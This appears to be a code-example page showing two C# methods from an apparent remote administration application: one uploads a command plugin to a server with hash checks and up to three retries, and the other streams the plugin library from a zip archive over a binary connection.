Esempio n. 1
0
        public async Task <bool> UploadPluginToServer(StaticCommandPlugin staticCommandPlugin)
        {
            if (await Task.Run(() => _connectionManager.IsStaticCommandPluginAvailable(staticCommandPlugin.PluginHash)))
            {
                return(true);
            }

            bool success = false;

            //3 tries
            for (int i = 0; i < 3; i++)
            {
                var autoResetEvent = new AutoResetEvent(false);

                EventHandler <byte[]> pluginReceivedHandler = (sender, bytes) =>
                {
                    if (bytes.SequenceEqual(staticCommandPlugin.PluginHash))
                    {
                        success = true;
                        autoResetEvent.Set();
                    }
                };

                EventHandler <byte[]> pluginFailedHandler = (sender, bytes) =>
                {
                    if (bytes.SequenceEqual(staticCommandPlugin.PluginHash))
                    {
                        success = false;
                        autoResetEvent.Set();
                    }
                };
                _connectionManager.StaticCommandReceived           += pluginReceivedHandler;
                _connectionManager.StaticCommandTransmissionFailed += pluginFailedHandler;

                try
                {
                    await Task.Run(() => _connectionManager.SendStaticCommandPlugin(staticCommandPlugin));

                    if (!await Task.Run(() => autoResetEvent.WaitOne()) || !success)
                    {
                        continue;
                    }
                }
                finally
                {
                    _connectionManager.StaticCommandReceived           -= pluginReceivedHandler;
                    _connectionManager.StaticCommandTransmissionFailed -= pluginFailedHandler;
                    autoResetEvent.Dispose();
                }

                break;
            }

            return(success);
        }
Esempio n. 2
0
        public void SendStaticCommandPlugin(StaticCommandPlugin staticCommandPlugin)
        {
            using (var fs = new FileStream(staticCommandPlugin.Path, FileMode.Open, FileAccess.Read))
                using (var archive = new ZipArchive(fs, ZipArchiveMode.Read))
                {
                    var entry = archive.GetEntry(staticCommandPlugin.PluginInfo.Library1);
                    using (var zipStream = entry.Open())
                    {
                        var buffer = new byte[8192];
                        lock (Sender.WriterLock)
                        {
                            Sender.Connection.BinaryWriter.Write((byte)FromAdministrationPackage.SendStaticCommandPlugin);
                            Sender.Connection.BinaryWriter.Write((int)entry.Length + 16);
                            Sender.Connection.BinaryWriter.Write(staticCommandPlugin.PluginHash);

                            int read;
                            while ((read = zipStream.Read(buffer, 0, buffer.Length)) > 0)
                            {
                                Sender.Connection.BinaryWriter.Write(buffer, 0, read);
                            }
                        }
                    }
                }
        }